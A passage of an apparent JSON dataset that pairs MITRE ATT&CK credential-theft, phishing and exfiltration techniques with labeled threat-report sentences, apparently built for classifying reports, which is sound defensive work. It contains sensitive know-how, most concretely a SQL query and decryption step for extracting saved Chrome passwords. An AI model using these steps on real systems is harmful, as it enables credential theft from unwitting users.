domain. Once forged, adversaries may use these web credentials to access resources (ex: Use Alternate Authentication Material), which may bypass multi-factor and other authentication protection mechanisms.\nTactics: credential access\nPlatforms: IaaS, Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: * Collects login and passwords, cookies, autocomplete fields, credit cards" + }, + { + "id": "T1056", + "text": "ATT&CK technique: T1056 Input Capture\nDescription: Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture).\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: Similarly, the other modules named keystrokes, clipboard, and screen sender, execute with individual threads and send stolen data to the attacker, then sleep for some period of time before repeating the same stealing process." + }, + { + "id": "T1528", + "text": "ATT&CK technique: T1528 Steal Application Access Token\nDescription: Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources. Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS). Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment. For example, in Kubernetes environments, processes running inside a container may communicate with the Kubernetes API server using service account tokens. If a container is compromised, an adversary may be able to steal the container’s token and thereby gain access to Kubernetes API commands. Similarly, instances within continuous-development / continuous-integration (CI/CD) pipelines will often use API tokens to authenticate to other services for testing and deployment. If these pipelines are compromised, adversaries may be able to steal these tokens and leverage their privileges. In Azure, an adversary who compromises a resource with an attached Managed Identity, such as an Azure VM, can request short-lived tokens through the Azure Instance Metadata Service (IMDS). These tokens can then facilitate unauthorized actions or further access to other Azure services, bypassing typical credential-based authentication. Token theft can also occur through social engineering, in which case user action may be required to grant access. OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow. An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token. The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls. Then, they can send a Spearphishing Link to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through Application Access Token. Application access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens, allowing them to obtain new access tokens without prompting the user.\nTactics: credential access\nPlatforms: Containers, IaaS, Identity Provider, Office Suite, SaaS\nLabeled report example: * Stealing session files from applications, including Discord, Steam, Telegram, and Authy" + }, + { + "id": "T1078", + "text": "ATT&CK technique: T1078 Valid Accounts\nDescription: Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence. In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account. The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.\nTactics: initial access, persistence, privilege escalation, stealth\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: Infostealer is one of the most profitable tools for cybercriminals, as information gathered from systems infected with this malware could be sold in the cybercrime underground or used for credential stuffing attacks." + }, + { + "id": "T1557", + "text": "ATT&CK technique: T1557 Adversary-in-the-Middle\nDescription: Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or replay attacks (Exploitation for Credential Access). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions. For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware. Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens (Steal Application Access Token) and session cookies (Steal Web Session Cookie). Downgrade Attacks can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm. Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in Transmitted Data Manipulation. Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to impair defenses and/or in support of a Network Denial of Service.\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: If macros are enabled, it will install and run The Trick, a trojan that intercepts and logs banking website visits to steal credentials." + }, + { + "id": "T1041", + "text": "ATT&CK technique: T1041 Exfiltration Over C2 Channel\nDescription: Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.\nTactics: exfiltration\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: This C2 server is also serving commands to exfiltrate credentials, but the web inject configuration file is blank." + }, + { + "id": "T1555", + "text": "ATT&CK technique: T1555 Credentials from Password Stores\nDescription: Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.\nTactics: credential access\nPlatforms: IaaS, Linux, Windows, macOS\nLabeled report example: **Password stealer:** M00nD3V Logger has the capability to steal passwords and cookies from all possible browsers and email clients, as well as FTP clients." + }, + { + "id": "T1217", + "text": "ATT&CK technique: T1217 Browser Information Discovery\nDescription: Adversaries may enumerate information about browsers to learn more about compromised environments. Data saved by browsers (such as bookmarks, accounts, and browsing history) may reveal a variety of personal information about users (e.g., banking sites, relationships/interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure. Browser information may also highlight additional targets after an adversary has access to valid credentials, especially Credentials In Files associated with logins cached by a browser. Specific storage locations vary based on platform and/or application, but browser information is typically stored in local files and databases (e.g., `%APPDATA%/Google/Chrome`).\nTactics: discovery\nPlatforms: Linux, Windows, macOS\nLabeled report example: The stolen browser info is collected in the form of a form-data field with the names shown below followed by their value." + }, + { + "id": "T1566", + "text": "ATT&CK technique: T1566 Phishing\nDescription: Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules). Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools, or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\"). Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools onto their computer (i.e., User Execution).\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: Users will be redirected to the main credential-phishing page after solving the captcha." + }, + { + "id": "T1567", + "text": "ATT&CK technique: T1567 Exfiltration Over Web Service\nDescription: Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services. Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.\nTactics: exfiltration\nPlatforms: ESXi, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: Here, the program collects user information, for example, *Environment.UserName*, and sends it over using a webhook defined in the *dcWebHook.WebHook* variable." + }, + { + "id": "T1033", + "text": "ATT&CK technique: T1033 System Owner/User Discovery\nDescription: Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping. The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Various utilities and commands may acquire this information, including whoami. In macOS and Linux, the currently logged in user can be identified with w and who. On macOS the dscl . list /Users | grep -v '_' command can also be used to enumerate user accounts. Environment variables, such as %USERNAME% and $USER, may also be used to access this information. On network devices, Network Device CLI commands such as `show users` and `show ssh` can be used to display users currently logged into the device.\nTactics: discovery\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: Here, the program collects user information, for example, *Environment.UserName*, and sends it over using a webhook defined in the *dcWebHook.WebHook* variable." + }, + { + "id": "T1113", + "text": "ATT&CK technique: T1113 Screen Capture\nDescription: Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as CopyFromScreen, xwd, or screencapture.\nTactics: collection\nPlatforms: Linux, Windows, macOS\nLabeled report example: Similarly, the other modules named keystrokes, clipboard, and screen sender, execute with individual threads and send stolen data to the attacker, then sleep for some period of time before repeating the same stealing process." + }, + { + "id": "T1102", + "text": "ATT&CK technique: T1102 Web Service\nDescription: Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites, cloud services, and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google, Microsoft, or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: This is a known stealer that uses Discord tokens to steal and send user data to its C&C." + }, + { + "id": "T1059", + "text": "ATT&CK technique: T1059 Command and Scripting Interpreter\nDescription: Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell. There are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic. Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.\nTactics: execution\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: Figure 7 shows the relevant JavaScript code and where the user’s credentials are being sent." + }, + { + "id": "T1048", + "text": "ATT&CK technique: T1048 Exfiltration Over Alternative Protocol\nDescription: Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Adversaries may also opt to encrypt and/or obfuscate these alternate channels. Exfiltration Over Alternative Protocol can be done using various common operating system utilities such as Net/SMB or FTP. On macOS and Linux curl may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system. Many IaaS and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub, and AWS S3) support the direct download of files, emails, source code, and other sensitive information via the web console or Cloud API.\nTactics: exfiltration\nPlatforms: ESXi, IaaS, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: The final unpacked payload, AZORult, will perform information stealing activities on the machine and exfiltrate the information by sending an HTTP POST request to the URL: hxxp://crevisoft.net/images/backgrounds/ob/index.php" + }, + { + "id": "T1020", + "text": "ATT&CK technique: T1020 Automated Exfiltration\nDescription: Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection. When automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over C2 Channel and Exfiltration Over Alternative Protocol.\nTactics: exfiltration\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: Figure 12: Function to send victim’s card details to attacker." + }, + { + "id": "T1115", + "text": "ATT&CK technique: T1115 Clipboard Data\nDescription: Adversaries may collect data stored in the clipboard from users copying information within or between applications. For example, on Windows adversaries can access clipboard data by using clip.exe or Get-Clipboard. Additionally, adversaries may monitor then replace users’ clipboard with their data (e.g., Transmitted Data Manipulation). macOS and Linux also have commands, such as pbpaste, to grab clipboard contents.\nTactics: collection\nPlatforms: Linux, Windows, macOS\nLabeled report example: Similarly, the other modules named keystrokes, clipboard, and screen sender, execute with individual threads and send stolen data to the attacker, then sleep for some period of time before repeating the same stealing process." + }, + { + "id": "T1005", + "text": "ATT&CK technique: T1005 Data from Local System\nDescription: Adversaries may search local system sources, such as file systems, configuration files, local databases, virtual machine files, or process memory, to find files of interest and sensitive data prior to Exfiltration. Adversaries may do this using a Command and Scripting Interpreter, such as cmd as well as a Network Device CLI, which have functionality to interact with the file system to gather information. Adversaries may also use Automated Collection on the local system.\nTactics: collection\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: Here, the program collects user information, for example, *Environment.UserName*, and sends it over using a webhook defined in the *dcWebHook.WebHook* variable." + }, + { + "id": "T1589.001", + "text": "ATT&CK technique: T1589.001 Credentials\nDescription: Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts. Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via Phishing for Information. Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors. Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP). Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: Search Engines, breach dumps, code repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1550.004", + "text": "ATT&CK technique: T1550.004 Web Session Cookie\nDescription: Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated. Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through Steal Web Session Cookie or Web Cookies, the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform. There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.\nTactics: lateral movement\nPlatforms: IaaS, Office Suite, SaaS" + }, + { + "id": "T1573", + "text": "ATT&CK technique: T1573 Encrypted Channel\nDescription: Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: The POST request contains both pseudorandom characters and encrypted information about the compromised system." + }, + { + "id": "T1598.003", + "text": "ATT&CK technique: T1598.003 Spearphishing Link\nDescription: Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods. Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie. Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1589", + "text": "ATT&CK technique: T1589 Gather Victim Identity Information\nDescription: Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about users could also be enumerated via other active means (i.e. Active Scanning) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames. Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: Phishing or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1621", + "text": "ATT&CK technique: T1621 Multi-Factor Authentication Request Generation\nDescription: Adversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users. Adversaries in possession of credentials to Valid Accounts may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control. To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account. If adversaries lack credentials to victim accounts, they may also abuse automatic push notification generation when this option is configured for self-service password reset (SSPR). In some cases, adversaries may continuously repeat login attempts in order to bombard users with MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to “MFA fatigue.”\nTactics: credential access\nPlatforms: IaaS, Identity Provider, Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1111", + "text": "ATT&CK technique: T1111 Multi-Factor Authentication Interception\nDescription: Adversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. If a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. Adversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). Other methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Service providers can also be targeted: for example, an adversary may compromise an SMS messaging service in order to steal MFA codes sent to users’ phones.\nTactics: credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1606.001", + "text": "ATT&CK technique: T1606.001 Web Cookies\nDescription: Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access. Adversaries may generate these cookies in order to gain access to web resources. This differs from Steal Web Session Cookie and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces. The generation of web cookies often requires secret values, such as passwords, Private Keys, or other cryptographic seed values. Once forged, adversaries may use these web cookies to access resources (Web Session Cookie), which may bypass multi-factor and other authentication protection mechanisms.\nTactics: credential access\nPlatforms: IaaS, Linux, SaaS, Windows, macOS" + }, + { + "id": "T1552.008", + "text": "ATT&CK technique: T1552.008 Chat Messages\nDescription: Adversaries may directly collect unsecured credentials stored or passed through user communication services. Credentials may be sent and stored in user chat communication applications such as email, chat services like Slack or Teams, collaboration tools like Jira or Trello, and any other services that support user communication. Users may share various forms of credentials (such as usernames and passwords, API keys, or authentication tokens) on private or public corporate internal communications channels. Rather than accessing the stored chat logs (i.e., Credentials In Files), adversaries may directly access credentials within these services on the user endpoint, through servers hosting the services, or through administrator portals for cloud hosted services. Adversaries may also compromise integration tools like Slack Workflows to automatically search through messages to extract user credentials. These credentials may then be abused to perform follow-on activities such as lateral movement or privilege escalation .\nTactics: credential access\nPlatforms: Office Suite, SaaS" + }, + { + "id": "T1056.004", + "text": "ATT&CK technique: T1056.004 Credential API Hooking\nDescription: Adversaries may hook into Windows application programming interface (API) functions and Linux system functions to collect user credentials. Malicious hooking mechanisms may capture API or function calls that include parameters that reveal user authentication credentials. Unlike Keylogging, this technique focuses specifically on API functions that include parameters that reveal user credentials. In Windows, hooking involves redirecting calls to these functions and can be implemented via: * **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. * **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored. * **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. In Linux and macOS, adversaries may hook into system functions via the `LD_PRELOAD` (Linux) or `DYLD_INSERT_LIBRARIES` (macOS) environment variables, which enables loading shared libraries into a program’s address space. For example, an adversary may capture credentials by hooking into the `libc read` function leveraged by SSH or SCP.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1598", + "text": "ATT&CK technique: T1598 Phishing for Information\nDescription: Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from Phishing in that the objective is gathering data from the victim rather than executing malicious code. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns. Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means. Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information. Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools. Phishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1598.002", + "text": "ATT&CK technique: T1598.002 Spearphishing Attachment\nDescription: Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email. In some cases, they may rely upon the recipient populating information, then returning the file. The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. In other cases, adversaries may leverage techniques such as HTML Smuggling to harvest user credentials via fake login portals. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1098.005", + "text": "ATT&CK technique: T1098.005 Device Registration\nDescription: Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance. MFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user’s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network. In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. Similarly, an adversary with existing access to a network may register a device or a virtual machine to Entra ID and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies. Devices registered in Entra ID may be able to conduct Internal Spearphishing campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client. Additionally, an adversary may be able to perform a Service Exhaustion Flood on an Entra ID tenant by registering a large number of devices.\nTactics: persistence, privilege escalation\nPlatforms: Identity Provider, Windows" + }, + { + "id": "T1056.003", + "text": "ATT&CK technique: T1056.003 Web Portal Capture\nDescription: Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1555.003", + "text": "ATT&CK technique: T1555.003 Credentials from Web Browsers\nDescription: Adversaries may acquire credentials from web browsers by reading files specific to the target browser. Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers. For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key. Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the Windows Credential Manager. Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials. After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).\nTactics: credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1056.002", + "text": "ATT&CK technique: T1056.002 GUI Input Capture\nDescription: Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: Bypass User Account Control). Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite. This type of prompt can be used to collect credentials via various languages such as AppleScript and PowerShell. On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. Unix Shell). Adversaries may also mimic common software authentication requests, such as those from browsers or email clients. This may also be paired with user activity monitoring (i.e., Browser Information Discovery and/or Application Window Discovery) to spoof prompts when users are naturally accessing sensitive sites/data.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1608.005", + "text": "ATT&CK technique: T1608.005 Link Target\nDescription: Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in Malicious Link. Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in Spearphishing Link) or a phish to gain initial access to a system (as in Spearphishing Link), an adversary must set up the resources for a link target for the spearphishing link. Typically, the resources for a link target will be an HTML page that may include some client-side script such as JavaScript to decide what content to serve 